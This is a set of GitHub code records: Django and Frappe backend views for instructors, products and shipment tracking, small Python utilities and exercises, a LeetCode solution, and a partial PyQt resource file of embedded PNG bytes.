+{"seq_id":"2209963066","text":"\nfrom django.views.decorators.csrf import csrf_exempt\n\nimport json\nfrom django.http import JsonResponse\nfrom .models import Instructor\n\nfrom django.shortcuts import get_object_or_404\nfrom .models import Instructor\nfrom courses.models import Course\nfrom assignments.models import Assignment\nfrom announcements.models import Announcement\nfrom django.http import JsonResponse\n\ndef instructor_details(request, instructor_id):\n    instructor = get_object_or_404(Instructor, pk=instructor_id)\n    courses = Course.objects.filter(instructor=instructor)\n    assignments = Assignment.objects.filter(course__in=courses)\n    announcements = Announcement.objects.filter(course__in=courses)\n\n    instructor_data = {\n        'id': instructor.id,\n        'name': instructor.name,\n        'courses': [{'id': course.id, 'name': course.course_name} for course in courses],\n        'assignments': [{'id': assignment.id, 'title': assignment.title} for assignment in assignments],\n        'announcements': [{'id': announcement.id, 'title': announcement.title,'description':announcement.description} for announcement in announcements],\n    }\n\n    return JsonResponse({'instructor': instructor_data})\n\ndef list_instructors(request):\n    instructors = Instructor.objects.all()\n    instructor_data = [\n        {\n            'id': instructor.id,\n            'name': instructor.name,\n            'gender': instructor.gender,\n            'date_of_birth': instructor.date_of_birth,\n            'department': instructor.department.name,\n            'email': instructor.email,\n            'contact_number': instructor.contact_number,\n        }\n        for instructor in instructors\n    ]\n    return JsonResponse({'instructors': instructor_data})\n@csrf_exempt\ndef create_instructor(request):\n    if request.method == 'POST':\n        try:\n            data = json.loads(request.body)\n            instructor = Instructor.objects.create(\n                name=data['name'],\n                gender=data['gender'],\n                date_of_birth=data['date_of_birth'],\n                department_id=data['department_id'],  # Assuming 'department_id' is provided in the JSON\n                email=data['email'],\n                contact_number=data['contact_number'],\n            )\n            return JsonResponse({'message': 'Instructor created successfully'})\n        except Exception as e:\n            return JsonResponse({'error': str(e)}, status=400)\n\n@csrf_exempt\ndef update_instructor(request, instructor_id):\n    try:\n        instructor = Instructor.objects.get(pk=instructor_id)\n        if request.method == 'PUT' or request.method == 'PATCH':\n            data = json.loads(request.body)\n            instructor.name = data.get('name', instructor.name)\n            instructor.gender = data.get('gender', instructor.gender)\n            instructor.date_of_birth = data.get('date_of_birth', instructor.date_of_birth)\n            instructor.department_id = data.get('department_id', instructor.department_id)\n            instructor.email = data.get('email', instructor.email)\n            instructor.contact_number = data.get('contact_number', instructor.contact_number)\n            instructor.save()\n            return JsonResponse({'message': 'Instructor updated successfully'})\n    except Instructor.DoesNotExist:\n        return JsonResponse({'error': 'Instructor not found'}, status=404)\n    except Exception as e:\n        return JsonResponse({'error': str(e)}, status=400)\n\n@csrf_exempt\ndef delete_instructor(request, instructor_id):\n    try:\n        instructor = Instructor.objects.get(pk=instructor_id)\n        if request.method == 'DELETE':\n            instructor.delete()\n            return JsonResponse({'message': 'Instructor deleted successfully'})\n    except Instructor.DoesNotExist:\n        return JsonResponse({'error': 'Instructor not found'}, status=404)\n    except Exception as e:\n        return JsonResponse({'error': str(e)}, status=400)\n","repo_name":"Prashantrathour/progressio.com","sub_path":"progressio_backend/progressio_main/instructors/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3919,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"10382465356","text":"from datetime import datetime\nimport os\n\nclass Log:\n    def __init__(self, exp_name):\n        self.file = os.path.join(exp_name, 'log_loss.txt')\n        with open(self.file, 'w') as f:\n            f.write('==== %s ====' % datetime.now().strftime('%Y-%m-%d_%H:%M:%S'))\n\n    def info(self, message):\n        print(message)\n        with open(self.file, 'a') as f:\n            f.write(message + '\\n')\n","repo_name":"aRI0U/recvis19_a3","sub_path":"log.py","file_name":"log.py","file_ext":"py","file_size_in_byte":397,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"3801097909","text":"\"\"\"\nAS-130\nAlter program 129 to add a third button that will save the list to a .csv file. The code\ntmp_list = num_list.get(0,END) can be used to save the contents of a list box\nas a tuple called tmp_list .\n\"\"\"\n#####\n# Python By Example\n# Exercise 130\n# Christopher Hagan\n#####\n\nfrom email import message\nfrom tkinter import *\nimport csv\n\nfileName = 'AS_listOfNumbers.csv'\n\ndef addValue():\n    valueEntered = userValue.get()\n    if (valueEntered.isdigit()):\n        listOfNumbers.insert(END, valueEntered)\n        messageValue['fg'] = 'green'\n        messageValue['text'] = '{} was added to the list!'.format(valueEntered)\n    else:\n        messageValue['fg'] = 'red'\n        messageValue['text'] = '{} is not a digit, so it was not added!'.format(valueEntered)\n\ndef clearValues():\n    listOfNumbers.delete(0, END)\n    messageValue['fg'] = 'green'\n    messageValue['text'] = 'List has been cleared!'\n\ndef saveList():\n    tmp_list = listOfNumbers.get(0, END)\n    with open(fileName, 'w') as csvFile:\n        fileWriter = csv.writer(csvFile)\n\n        for number in tmp_list:\n            fileWriter.writerow([number])\n    messageValue['fg'] = 'green'\n    messageValue['text'] = '{} was saved!'.format(fileName)\n\nwindow = Tk()\nwindow.geometry('500x500')\nwindow.title('Adding digits to a list')\n\ninstruction = Label(text='Enter a digit to add to the list: ')\ninstruction.place(x=30, y=50, width=250, height=25)\n\nuserValue = Entry(text='')\nuserValue.place(x=260, y=50, width=50, height=25)\n\nmessageValue = Message(text='')\nmessageValue.place(x=100, y=100, width=200, height=50)\n\naddButton = Button(text='Add value to list', command=addValue)\naddButton.place(x=150, y=150, width=200, height=25)\n\nclearButton = Button(text='Clear list', command=clearValues)\nclearButton.place(x=150, y=190, width=200, height=25)\n\nsaveButton = Button(text='Save list', command=saveList)\nsaveButton.place(x=150, y=230, width=200, height=25)\n\nlistOfNumbers = Listbox()\nlistOfNumbers.place(x=150, y=300, width=200, height=150)\n\nwindow.mainloop()","repo_name":"nihathalici/Python-By-Example","sub_path":"Alternative-Solutions/CHL-124-132-Tkinter-GUI/AS-130.py","file_name":"AS-130.py","file_ext":"py","file_size_in_byte":2016,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"60"}
+{"seq_id":"10042185805","text":"import csv\r\nfrom os.path import basename\r\nfrom tkinter import Tk\r\nfrom tkinter.filedialog import askopenfilename\r\n\r\n\r\n# Loads the dataset and reads through it to create the file:\r\ndef load_dataset(path):\r\n    f = open(basename(path).split('.')[0] + \".lflist.conf\", \"w\")\r\n    f.write(\"#[\" + basename(path).split('.')[0] + \" Banlist]\" + \"\\n\")\r\n    f.write(\"!\" + basename(path).split('.')[0] + \" Banlist\" + \"\\n\")\r\n    f.write(\"$whitelist\\n\")\r\n    f.write(\"#\" + basename(path).split('.')[0] + \" Banlist\" + \"\\n\")\r\n\r\n    with open(path, 'r') as file:\r\n        reader = csv.reader(file, delimiter=',')\r\n\r\n        # Set variables in case of multiple versions of the same card:\r\n        currentId = -1\r\n        quantity = 0\r\n        line = \"\"\r\n        for row in reader:\r\n            if row[0] == \"cardname\":\r\n                continue\r\n\r\n            # If the last card was the same one (diff. version), accumulate quantity.\r\n            # Only write the line if the last one read was different.\r\n            if int(row[2]) == currentId:\r\n                quantity = quantity + int(row[1])\r\n            else:\r\n                # Save current Id and Quantity to compare with previous scenarios:\r\n                currentId = int(row[2])\r\n                quantity = int(row[1])\r\n                f.write(line)\r\n\r\n            if quantity > 3:\r\n                quantity = 3\r\n\r\n            line = str(currentId) + \" \" + str(quantity) + \" --\" + str(row[0]) + \"\\n\"\r\n\r\n        # Write the last line in the end, or else the last one won't get printed.\r\n        f.write(line)\r\n\r\n    f.close()\r\n\r\n\r\ndef main():\r\n    Tk().withdraw()\r\n    path = askopenfilename()\r\n    load_dataset(path)\r\n    return 0\r\n\r\n\r\nmain()\r\n","repo_name":"PurgatoryDream/csv2lflist","sub_path":"csv2ban.py","file_name":"csv2ban.py","file_ext":"py","file_size_in_byte":1688,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"13152788914","text":"class Solution:\n    def findLength(self, nums1: List[int], nums2: List[int]) -> int:\n        n=len(nums1)+1\n        m=len(nums2)+1\n        dp=[]\n        for _ in range(n):\n            dp.append([0]*m)\n        for i in range(1,n):\n            for j in range(1,m):\n                if nums1[i-1]==nums2[j-1]:\n                    dp[i][j]=1+dp[i-1][j-1]\n        maxx=0\n        for i in range(n):\n            maxx=max(maxx,max(dp[i]))\n        return maxx","repo_name":"Kushagras634/Leetcode-Solutions","sub_path":"718-maximum-length-of-repeated-subarray/718-maximum-length-of-repeated-subarray.py","file_name":"718-maximum-length-of-repeated-subarray.py","file_ext":"py","file_size_in_byte":449,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"71264251392","text":"from urllib.parse import urlparse\nfrom django.urls import path\nfrom .views import (index,dashboard,add_listing,user_profile,\n                    delete,single,category,edit_product,aboutus,\n                    contactus,single_blog,store,blog,terms_condition,\n                    package,page_404)\nfrom django.conf import settings\nfrom django.conf.urls.static import static\nurlpatterns=[\n    path('',index,name='index'),\n    path('dashboard',dashboard,name='dashboard'),\n    path('add_listing',add_listing,name='add_listing'),\n    path('user_profile',user_profile,name='user_profile'),\n    path('delete/<int:id>/',delete,name='delete'),\n    path('single/<int:id>',single,name='single'),\n    path('category',category,name='category'),\n    path('aboutus',aboutus,name='aboutus'),\n    path('contactus',contactus,name='contactus'),\n    path('single_blog',single_blog,name='single_blog'),\n    path('store',store,name='store'),\n    path('blog',blog,name='blog'),\n    path('package',package,name='package'),\n    path('page_404',page_404,name='page_404'),\n    path('terms_condition',terms_condition,name='terms_condition'),\n    path('edit_product/<int:id>',edit_product,name='edit_product'),\n]\nif settings.DEBUG:\n        urlpatterns += static(settings.MEDIA_URL,\n                              document_root=settings.MEDIA_ROOT)","repo_name":"umidjon03/E-commerce","sub_path":"ecommerce/products/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1319,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"72048484992","text":"import frappe\nimport os\nimport json\nimport datetime\nimport uuid\n\n@frappe.whitelist(allow_guest=True)\ndef clustering_and_scheduling():\n    for trip in json.loads(frappe.local.request.values[\"inputData\"]):\n        build_trip(trip)\n\ndef build_trip(dat):\n    d = frappe.get_doc({\n        \"doctype\":\"DRS\",\n        \"trip_name\":dat[\"tripName\"],\n        \"status\":\"Clustering And Scheduling\",\n        \"driver_name\":dat[\"driverName\"],\n        \"vehicle\":dat[\"vehicle\"],\n        \"shipment_details\":parse_shipment_details(dat[\"shipmentDetails\"])\n    })\n    d.insert()\n    frappe.db.commit()\n\ndef parse_shipment_details(shdetails):\n    result = []\n    for shipment in shdetails:\n        d = dict()\n        d[\"latitude\"] = shipment[\"latitude\"]\n        d[\"longitude\"] = shipment[\"longitude\"]\n        d[\"awb\"] = shipment[\"clientShipmentId\"]\n        d[\"delivery_order\"] = shipment[\"deliveryOrder\"]\n        d[\"Status\"] = \"Unknown\"\n        result.append(d)\n    return result\n\n@frappe.whitelist(allow_guest=True)\ndef dispatch_start_trip():\n    start_trip(json.loads(frappe.local.request.values[\"inputData\"]))\n\ndef start_trip(trip):\n    t = frappe.get_list(\"DRS\", fields=[\"*\"],\n            filters={\"trip_name\":trip[\"tripName\"]})[0]\n    tx = frappe.get_doc(\"DRS\", t[\"name\"])\n    tx.status = \"Start Trip\"\n    tx.save()\n\n@frappe.whitelist(allow_guest=True)\ndef load_items():\n    val = frappe.local.request.values[\"inputData\"]\n    awb = json.loads(val)[\"clientShipmentId\"]\n    t = frappe.get_list(\"Shipment Details\", fields=[\"*\"],\n                filters={\"awb\":awb})[0]\n    tx = frappe.get_doc(\"Shipment Details\", t[\"name\"])\n    tx.status = \"Loaded\"\n    tx.save()\n\n@frappe.whitelist(allow_guest=True)\ndef pickup():\n    val = frappe.local.request.values[\"inputData\"]\n    awb = json.loads(val)[\"clientShipmentId\"]\n    t = frappe.get_list(\"Shipment Details\", fields=[\"*\"],\n                filters={\"awb\":awb})[0]\n    tx = frappe.get_doc(\"Shipment Details\", t[\"name\"])\n    tx.status = \"Picked Up\"\n    tx.save()\n\n@frappe.whitelist(allow_guest=True)\ndef delivery_notification():\n    parcel  = json.loads(frappe.local.request.values[\"inputData\"])\n    set_deliverd(parcel, \"Delivered\")\n\ndef set_deliverd(parcel, status):\n    awb = parcel[\"clientShipmentId\"]\n    t = frappe.get_list(\"Shipment Details\", fields=[\"*\"],\n                filters={\"awb\":awb})[0]\n    tx = frappe.get_doc(\"Shipment Details\", t[\"name\"])\n    tx.status = status\n    tx.latitude = parcel[\"latitude\"]\n    tx.longitude = parcel[\"longitude\"]\n    tx.save()\n\n@frappe.whitelist(allow_guest=True)\ndef not_deliverd_notification():\n    parcel = json.loads(frappe.local.request.values[\"inputData\"])\n    set_deliverd(parcel, \"Not Delivered\")\n\n@frappe.whitelist(allow_guest=True)\ndef partial_delivery_notification():\n    parcel = json.loads(frappe.local.request.values[\"inputData\"])\n    set_deliverd(parcel, \"Partial Delivery\")\n\n\n@frappe.whitelist(allow_guest=True)\ndef arrival_end_trip():\n    trip = json.loads(frappe.local.request.values[\"inputData\"])\n    t = frappe.get_list(\"DRS\", fields=[\"*\"],\n            filters={\"trip_name\":trip[\"tripName\"]})[0]\n    tx = frappe.get_doc(\"DRS\", t[\"name\"])\n    tx.status = \"End Trip\"\n    tx.save()\n\n#---------------------------------------------THROW-----------------------------\n@frappe.whitelist(allow_guest=True)\ndef clear_all_cache():\n     frappe.clear_cache()\n     return \"cache cleard\"\n\n#@frappe.whitelist(allow_guest=True)\n#def arrival_end_trip():\n#    open(os.path.expanduser(\"~/erp_data/arrival_end_trip.json\"), \n#            \"a\").write(frappe.local.request.data + \"\\n\")\n\n@frappe.whitelist(allow_guest=True)\ndef accept():\n    open(os.path.expanduser(\"~/erp_data/accept.json\"), \n            \"a\").write(frappe.local.request.data + \"\\n\")\n\n\n@frappe.whitelist(allow_guest=True)\ndef reject():\n    open(os.path.expanduser(\"~/erp_data/reject.json\"), \n            \"a\").write(frappe.local.request.data + \"\\n\")\n\n@frappe.whitelist(allow_guest=True)\ndef clustering_updates():\n    open(os.path.expanduser(\"~/erp_data/clustering_updates.json\"), \n            \"a\").write(frappe.local.request.data + \"\\n\")\n\n#CombinedMultiDict([ImmutableMultiDict([]), ImmutableMultiDict([('inputData', u'[{\"tripName\":\"TRIP-32\",\"deliveryMediumName\":\"MEHUL\",\"driverName\":\"\",\"vehicle\":\"\",\"shipmentDetails\":[{\"latitude\":19.199272,\"longitude\":72.857732,\"clientShipmentId\":\"222222201\",\"deliveryOrder\":4},{\"latitude\":19.199272,\"longitude\":72.857732,\"clientShipmentId\":\"112000003\",\"deliveryOrder\":5},{\"latitude\":19.1076375,\"longitude\":72.8655789,\"clientShipmentId\":\"test_order\",\"deliveryOrder\":6}]}]')])])\n","repo_name":"YuaShizuki/order_center","sub_path":"order_center/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":4538,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"26438564418","text":"# -*- coding: utf-8 -*-\n\n# Resource object code\n#\n# Created by: The Resource Compiler for PyQt5 (Qt v5.9.1)\n#\n# WARNING! All changes made in this file will be lost!\n\nfrom PyQt5 import QtCore\n\nqt_resource_data = b\"\\\n\\x00\\x00\\x02\\xfb\\\n\\x89\\\n\\x50\\x4e\\x47\\x0d\\x0a\\x1a\\x0a\\x00\\x00\\x00\\x0d\\x49\\x48\\x44\\x52\\x00\\\n\\x00\\x00\\x30\\x00\\x00\\x00\\x30\\x08\\x06\\x00\\x00\\x00\\x57\\x02\\xf9\\x87\\\n\\x00\\x00\\x00\\x04\\x73\\x42\\x49\\x54\\x08\\x08\\x08\\x08\\x7c\\x08\\x64\\x88\\\n\\x00\\x00\\x00\\x09\\x70\\x48\\x59\\x73\\x00\\x00\\x0d\\xd7\\x00\\x00\\x0d\\xd7\\\n\\x01\\x42\\x28\\x9b\\x78\\x00\\x00\\x00\\x19\\x74\\x45\\x58\\x74\\x53\\x6f\\x66\\\n\\x74\\x77\\x61\\x72\\x65\\x00\\x77\\x77\\x77\\x2e\\x69\\x6e\\x6b\\x73\\x63\\x61\\\n\\x70\\x65\\x2e\\x6f\\x72\\x67\\x9b\\xee\\x3c\\x1a\\x00\\x00\\x02\\x78\\x49\\x44\\\n\\x41\\x54\\x68\\x81\\xed\\xd9\\xcd\\x8b\\x4d\\x61\\x00\\xc7\\xf1\\xcf\\x15\\x16\\\n\\x44\\x79\\xe9\\x5a\\x20\\x79\\xd9\\x91\\xd4\\x28\\xa5\\x94\\x28\\x16\\xfc\\x03\\\n\\x36\\x5e\\x56\\x0a\\x45\\x91\\xcc\\x24\\x0e\\x35\\x13\\xb2\\x20\\x9b\\xc9\\x12\\\n\\x1b\\x25\\xc9\\x9a\\xb2\\xb0\\x20\\x9d\\x24\\x56\\x64\\xb0\\x41\\x17\\x59\\x4c\\\n\\x89\\x09\\xd7\\xe2\\x9c\\x93\\xe3\\xce\\x9d\\x99\\x7b\\x4f\\xf7\\x9e\\x33\\x47\\\n\\xf3\\xad\\xa7\\xfb\\xbc\\x3f\\xbf\\xdf\\x3d\\xcf\\xdb\\x3d\\x97\\x29\\x8a\\xa5\\\n\\x92\\xb1\\xdd\\x5c\\x0c\\x62\\xfa\\x38\\x75\\x7e\\x62\\x3f\\x86\\x33\\x8e\\xd1\\\n\\x75\\xae\\xa0\\x3e\\x4e\\xb8\\x5c\\x9c\\xb4\\xd6\\x98\\x87\\x4f\\x9a\\x8b\\xff\\\n\\x82\\x05\\xc5\\x49\\x6b\\x9d\\x43\\x9a\\x1b\\x38\\x50\\xa4\\xa8\\x76\\x98\\x8e\\\n\\x17\\xfe\\x15\\xff\\xdc\\xf8\\x6b\\x63\\xd2\\xb1\\xc5\\xbf\\x06\\xb6\\x15\\x2b\\\n\\x27\\x1b\\x77\\x44\\xe2\\x6f\\xe7\\x3d\\x70\\xd6\\x6d\\xb4\\x91\\x15\\x78\\x8a\\\n\\xf5\\x78\\x35\\x41\\xdd\\x19\\x58\\xdb\\x24\\xff\\x33\\xde\\x75\\x48\\x4f\\x26\\\n\\x9a\\x89\\x1a\\x8b\\x07\\x46\\x2f\\xfc\\xed\\x5d\\xd0\\xd4\\x35\\xd6\\x89\\x0e\\\n\\xba\\x44\\xfc\\x9d\\x62\\xe5\\x64\\xe3\\xaa\\x48\\xfc\\x77\\xac\\x2a\\x54\\x49\\\n\\x9d\\xcf\\x49\\x68\\xa3\\x59\\x15\\x5f\\x71\\xae\\x4b\\xb2\\x5a\\xa7\\x4e\\x3d\\\n\\x09\\x6d\\x36\\xdd\\x2d\\xba\\x57\\x65\\xa6\\x23\\xbb\\x50\\x5a\\x78\\xa5\\x73\\\n\\x3b\\x5b\\x4b\\x4c\\xcb\\x73\\xb0\\x6e\\x50\\xd8\\x91\\x1f\\x08\\xfa\\xb1\\x29\\\n\\x4e\\xf6\\x05\\x82\\x87\\x59\\xfa\\x29\\xf2\\xce\\xb2\\xda\\x5f\\x03\\x0b\\xb3\\\n\\x76\\x52\\xfa\\x29\\x34\\x65\\xa0\\x68\\x4a\\x6f\\x20\\xbd\\x88\\x97\\x60\\x66\\\n\\x43\\xf9\\x6f\\xbc\\xcd\\x4d\\x4d\\x06\\xd2\\x4f\\x60\\x2f\\x5e\\x37\\x84\\xbe\\\n\\x02\\x34\\xb5\\x45\\xda\\xc0\\x45\\xbc\\x49\\xa5\\x87\\x71\\x2a\\x5f\\x39\\xed\\\n\\x93\\x36\\xf0\\x1d\\xc7\\x53\\xe9\\xb3\\xf8\\x98\\xaf\\x9c\\xf6\\x69\\x3c\\xc8\\\n\\x6e\\xe1\\x1e\\x96\\x8b\\xde\\xfb\\x4c\\x7a\\x9a\\x9d\\xc4\\xc7\\x44\\x0b\\xfa\\\n\\x47\\xce\\x5a\\x32\\xd1\\xcc\\xc0\\xb3\\x38\\x94\\x82\\xff\\xea\\x1c\\x10\\x08\\\n\\xaa\\xa2\\x5f\\x4a\\x50\\x0b\\x04\\xb5\\xfc\\x25\\x8d\\x62\\x0d\\x76\\x34\\xc9\\\n\\xbf\\x86\\x0f\\x8d\\x53\\xe8\\x00\\x4e\\xc7\\xf1\\x33\\x08\\xba\\xa7\\xab\\x65\\\n\\x86\\x70\\x10\\x4b\\x53\\x79\\x8f\\x70\\x81\\x72\\x4c\\xa1\\x6f\\x38\\x99\\x4a\\\n\\xd7\\x71\\x24\\xfe\\x2c\\x85\\x01\\xb8\\x8e\\xc7\\x71\\xfc\\x46\\x2a\\x5e\\x1a\\\n\\x03\\xc9\\xb7\\x3e\\x8c\\x13\\xe9\\x82\\xb2\\x18\\x20\\x9a\\xf7\\x5b\\xf1\\x3e\\\n\\x9d\\x59\\x26\\x03\\xf0\\xa4\\x31\\xa3\\x2c\\xef\\xf1\\x2b\\x03\\x06\\xe6\\x43\\\n\\x45\\xe5\\x77\\xaf\\xde\\xaf\\x49\\x41\\xcb\\x06\\xc2\\x30\\x7c\\x00\\x3d\\x3d\\\n\\x3d\\x9b\\x3b\\xad\\x6e\\x22\\xfa\\xf5\\x57\\x47\\x8c\\x24\\x17\\xcb\\x1a\\x16\\\n\\x25\\x65\\x65\\x9b\\x42\\xa3\\xc8\\xd5\\x40\\x18\\x86\\xfb\\xc2\\x30\\xdc\\xd7\\\n\\xc9\\x3e\\xf3\\x7e\\x02\\x7b\\xe2\\xd0\\x31\\xa6\\xa6\\x50\\xd1\\x24\\xbb\\xd0\\\n\\x2e\\x54\\xef\\xba\\xbb\\xa1\\x1a\\x5f\\x46\\x6b\\x6a\\x1b\\x70\\x38\\xa9\\x38\\\n\\x38\\x38\\xb8\\x38\\x8e\\x1e\\xd6\\x40\\xc3\\x5f\\xf2\\xa3\\xca\\x9b\\xf5\\x71\\\n\\xdf\\xfd\\x15\\xb3\\xcd\\x06\\x43\\x86\\x76\\x62\\xd9\\x58\\xed\\xce\\x3b\\x3f\\\n\\x67\\xa3\\x8d\\xe0\\x97\\x5f\\xb3\\xe2\\x31\\x3e\\xe2\\x66\\xf2\\x2a\\xfc\\x12\\\n\\x56\\x8e\\xd5\\xc1\\x64\\xa0\\xa2\\x52\\x81\\x7a\\x74\\x87\\xab\\xe3\\x25\\x8e\\\n\\x16\\xa9\\xa9\\x23\\xfc\\x01\\xce\\xab\\x9b\\x03\\x4e\\x04\\x66\\xab\\x00\\x00\\\n\\x00\\x00\\x49\\x45\\x4e\\x44\\xae\\x42\\x60\\x82\\\n\\x00\\x00\\x00\\xf9\\\n\\x89\\\n\\x50\\x4e\\x47\\x0d\\x0a\\x1a\\x0a\\x00\\x00\\x00\\x0d\\x49\\x48\\x44\\x52\\x00\\\n\\x00\\x00\\x18\\x00\\x00\\x00\\x18\\x08\\x06\\x00\\x00\\x00\\xe0\\x77\\x3d\\xf8\\\n\\x00\\x00\\x00\\x09\\x70\\x48\\x59\\x73\\x00\\x00\\x0b\\x13\\x00\\x00\\x0b\\x13\\\n\\x01\\x00\\x9a\\x9c\\x18\\x00\\x00\\x00\\x07\\x74\\x49\\x4d\\x45\\x07\\xe1\\x0a\\\n\\x11\\x0c\\x23\\x22\\xd1\\x0a\\x85\\x3d\\x00\\x00\\x00\\x98\\x49\\x44\\x41\\x54\\\n\\x48\\xc7\\xbd\\x96\\x41\\x0a\\xc5\\x20\\x0c\\x05\\x27\\x5d\\xe4\\x8a\\x3d\\x63\\\n\\x57\\xde\\xef\\x6f\\x5e\\x37\\x2d\\x94\\x52\\x7e\\x13\\xad\\x09\\x04\\x44\\xcc\\\n\\x3c\\x31\\x9a\\x68\\x92\\x98\\x69\\x4b\\x66\\xb1\\x99\\xb9\\x99\\xf9\\x14\\x81\\\n\\x03\\xbc\\x01\\x5b\\x4a\\x44\\xd2\\xab\\x03\\x0e\\x34\\x40\\x87\\x37\\xc0\\x43\\\n\\xb1\\x49\\x78\\xbb\\x8d\\x7d\\x48\\xe0\\x01\\xee\\x4f\\x73\\x5d\\x02\\xff\\x40\\\n\\x19\\x91\\x34\\x3c\\x2b\\x42\\x6f\\x60\\x78\\x23\\xbd\\xf0\\x68\\xcc\\x10\\x3c\\\n\\x94\\xaf\\x51\\xf8\\x9b\\xc8\\xc2\\x6c\\x2b\\x39\\xa2\\x92\\x24\\x97\\x5c\\xd3\\\n\\x92\\x87\\x56\\x52\\x2a\\x4a\\x8a\\x5d\\x49\\xb9\\xfe\\xa2\\xe1\\x58\\xb4\\xe9\\\n\\x5f\\x5a\\x26\\xc0\\x2a\\xe9\\x17\\x8a\\xcb\\xfc\\x2a\\xce\\x5e\\x1c\\x85\\xa7\\\n\\x05\\x7a\\x6c\\x07\\xa7\\x01\\x50\\xba\\x8f\\xd0\\x17\\xf4\\x00\\x00\\x00\\x00\\\n\\x49\\x45\\x4e\\x44\\xae\\x42\\x60\\x82\\\n\\x00\\x00\\x01\\x21\\\n\\x89\\\n\\x50\\x4e\\x47\\x0d\\x0a\\x1a\\x0a\\x00\\x00\\x00\\x0d\\x49\\x48\\x44\\x52\\x00\\\n\\x00\\x00\\x18\\x00\\x00\\x00\\x18\\x08\\x06\\x00\\x00\\x00\\xe0\\x77\\x3d\\xf8\\\n\\x00\\x00\\x00\\x09\\x70\\x48\\x59\\x73\\x00\\x00\\x0b\\x13\\x00\\x00\\x0b\\x13\\\n\\x01\\x00\\x9a\\x9c\\x18\\x00\\x00\\x00\\x07\\x74\\x49\\x4d\\x45\\x07\\xe1\\x0a\\\n\\x11\\x0c\\x1e\\x29\\x2c\\x30\\x14\\x0b\\x00\\x00\\x00\\xc0\\x49\\x44\\x41\\x54\\\n\\x48\\xc7\\xed\\x95\\x31\\x0e\\xc2\\x30\\x0c\\x45\\x9f\\x11\\xea\\xd2\\x1b\\xb0\\\n\\xb1\\x70\\x03\\x0e\\xc4\\xc9\\x98\\x3a\\x74\\xea\\x41\\x72\\x83\\x2e\\x4c\\x3d\\\n\\x42\\x97\\x2e\\x9f\\x81\\x2c\\x45\\x6d\\xe2\\x0a\\x22\\x21\\x54\\x4b\\x5e\\x62\\\n\\xeb\\xff\\x44\\xf9\\xdf\\x36\\x49\\x94\\x8c\\x03\\x85\\x63\\x27\\xc8\\xc6\\x31\\\n\\xd7\\x60\\x66\\x15\\x70\\x07\\xae\\x6f\\xa5\\x00\\xdc\\x24\\x4d\\x49\\x00\\x49\\\n\\xab\\x09\\x54\\x40\\x07\\x08\\x18\\x80\\x3e\\xe6\\x10\\xcf\\x3a\\xa0\\x4a\\x62\\\n\\x38\\xc1\\x67\\x40\\xa9\\x9a\\x8b\\xc0\\x03\\xe0\\x25\\x59\\x23\\x68\\x5c\\xb7\\\n\\x9b\\x93\\x34\\x4b\\x3d\\xb6\\xe4\\x64\\x33\\xeb\\x81\\x1a\\x38\\xe7\\x3e\\x31\\\n\\x8a\\xe0\\x01\\x8c\\x92\\x2e\\x5b\\x64\\x3a\\x66\\x15\\xf2\\x12\\xc9\\x04\\x8c\\\n\\x3f\\x69\\xb4\\x3a\\x3e\\xdf\\xe3\\x93\\x7a\\x2b\\x41\\x00\\x4e\\x40\\x9b\\x22\\\n\\x89\\xb5\\x36\\xf6\\x06\\xb7\\xd1\\x8a\\xcb\\xb4\\xb8\\xd1\\xbe\\x39\\x2a\\x2c\\\n\\xb7\\xd1\\x3e\\x1d\\x76\\xb6\\xaf\\xcc\\xff\\x27\\x78\\x02\\x8b\\x38\\x7f\\xec\\\n\\x02\\xf3\\x27\\xcf\\x00\\x00\\x00\\x00\\x49\\x45\\x4e\\x44\\xae\\x42\\x60\\x82\\\n\\\n\\x00\\x00\\x04\\x3a\\\n\\x89\\\n\\x50\\x4e\\x47\\x0d\\x0a\\x1a\\x0a\\x00\\x00\\x00\\x0d\\x49\\x48\\x44\\x52\\x00\\\n\\x00\\x00\\x30\\x00\\x00\\x00\\x30\\x08\\x06\\x00\\x00\\x00\\x57\\x02\\xf9\\x87\\\n\\x00\\x00\\x00\\x06\\x62\\x4b\\x47\\x44\\x00\\xff\\x00\\xff\\x00\\xff\\xa0\\xbd\\\n\\xa7\\x93\\x00\\x00\\x00\\x09\\x70\\x48\\x59\\x73\\x00\\x00\\x0d\\xd7\\x00\\x00\\\n\\x0d\\xd7\\x01\\x42\\x28\\x9b\\x78\\x00\\x00\\x00\\x07\\x74\\x49\\x4d\\x45\\x07\\\n\\xe1\\x0b\\x0d\\x0d\\x11\\x13\\x4b\\xc9\\x7a\\xd6\\x00\\x00\\x03\\xc7\\x49\\x44\\\n\\x41\\x54\\x68\\xde\\xed\\x98\\x5d\\x68\\x53\\x67\\x18\\xc7\\x7f\\x6f\\x92\\x5a\\\n\\x7b\\x52\\x57\\xb1\\xab\\x75\\x55\\xab\\x6c\\x62\\x95\\xe2\\xdc\\x64\\x28\\x63\\\n\\x2a\\x1b\\xf5\\x66\\x8c\\x59\\x61\\xd0\\x0b\\x15\\xd4\\x0b\\x3f\\x6a\\x1d\\xba\\\n\\x7a\\xe3\\x94\\x41\\x26\\x1a\\x76\\x35\\x59\\x83\\x58\\x95\\xa1\\x32\\xbc\\x50\\\n\\x41\\x6d\\xf7\\xd1\\x0b\\x8b\\x74\\x9f\\x5d\\xdb\\x0b\\xeb\\x17\\x06\\xd1\\x22\\\n\\x36\\x56\\x07\\xea\\x6c\\x6d\\x63\\x34\\x69\\xde\\x5d\\x24\\xdd\\x79\\xd3\\x26\\\n\\xcd\\xc9\\x47\\x7b\\x52\\xc8\\x1f\\x0e\\x9c\\xe7\\x39\\xef\\x73\\x9e\\xe7\\xf7\\\n\\x9c\\xbc\\xef\\x9b\\x73\\x20\\xab\\xac\\xb2\\xca\\xca\\x4c\\x89\\x68\\x4e\\x59\\\n\\xcf\\x37\\xc0\\x4e\\x60\\x72\\